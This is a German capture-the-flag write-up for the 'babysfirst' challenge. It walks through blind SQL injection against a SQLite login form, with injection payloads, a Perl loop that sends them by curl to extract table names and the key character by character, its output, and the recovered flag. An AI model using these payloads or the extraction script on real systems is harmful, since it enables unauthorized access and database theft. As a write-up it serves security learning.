Die Challenge (babysfirst) verweist zunächst nur auf eine Webseite, die wir uns direkt näher ansehen.
Einer der ersten SQL-Injection-Versuche mit ‘ or ‘1’=’1 als Benutzername und Passwort liefert direkt, dieses Ergebnis:
Neben diversen Möglichkeiten, kann hier zum Beispiel eine Blind SQL-Injection durchgeführt werden.
Mit dem “or 1=1” haben wir bereits eine Stelle gefunden, deren Rückgabewert (Wahr oder Falsch) sich bereits anhand des Ergebnisses (erfolgreiches oder erfolgloses Einloggen) interpretieren lässt.
Nun prüfen wir zunächst mit was für eine Datenbank wir es hier zu tun haben.
' or (SELECT 1 FROM sqlite_master) --
Mit dieser Abfrage können wir uns erfolgreich einloggen, was bedeutet, dass die Datenbank “sqlite_master” existiert. Es handelt sich somit um eine SQLite-Datenbank.
Als Nächstes müssen wir herausfinden, welche Tabellen oder Werte in der Datenbank existieren. Dazu nutzen wir die SQLite-Funktion substr() um die Buchstaben einzeln auszulesen.
' or (substr((SELECT name FROM sqlite_master LIMIT 0,1),X,1)=Y) --
Hier prüfen wir das Ergebnis der substr()-Funktion als Wahrheitswert. X stellt dabei den Platzhalter für die Position des Buchstabens und Y den Platzhalter für den Buchstaben selbst dar. Um nun den Namen der ersten Tabelle / des ersten Wertes komplett auszulesen, muss diese Abfrage als Schleife in einem Skript implementiert werden:
#!/usr/bin/perl for ($pos=1;$pos <= 100; $pos++) { for ($letter=32; $letter<=128; $letter++) { $char = chr($letter); $query = "' or (substr((SELECT name FROM sqlite_master LIMIT 0,1),$pos,1)='$char') -- "; $get = `curl -s "http://babysfirst.shallweplayaga.me:8041/login" -d "username=$query&password=123"`; if (index($get, "root") != -1) { print "$pos: $char\n"; last; } } } print "\n";
Wenn wir das Skript ausführen, erhalten wir dieses Ergebnis:
rup0rt@lambda:~$ ./babysfirst.pl 1: k 2: e 3: y 4: s
Es existiert also ein Eintrag namens “keys”! Nun muss nur noch die Abfrage im Skript angepasst werden.
' or (substr((SELECT value FROM keys LIMIT 0,1),X,1)=Y) --
Hierbei wird der Wert des Eintrags “keys” ausgelesen. Führt man das finale Skript jetzt aus, erhalt man folgende Ausgabe.
rup0rt@lambda:~$ ./babysfirst2.pl 1: T 2: h 3: e 4: 5: k 6: e 7: y 8: 9: i 10: s 11: : 12: 13: l 14: i 15: t 16: e 17: r 18: a 19: l 20: l 21: y 22: 23: o 24: n 25: l 26: i 27: n 28: e 29: 30: l 31: o 32: l 33: l 34: i 35: n 36: g 37: 38: o 39: n 40: 41: l 42: i 43: n 44: e 45: 46: W 47: u 48: c 49: G 50: e 51: s 52: J 53: i
Die Lösung lautet somit “literally online lolling on line WucGesJi“.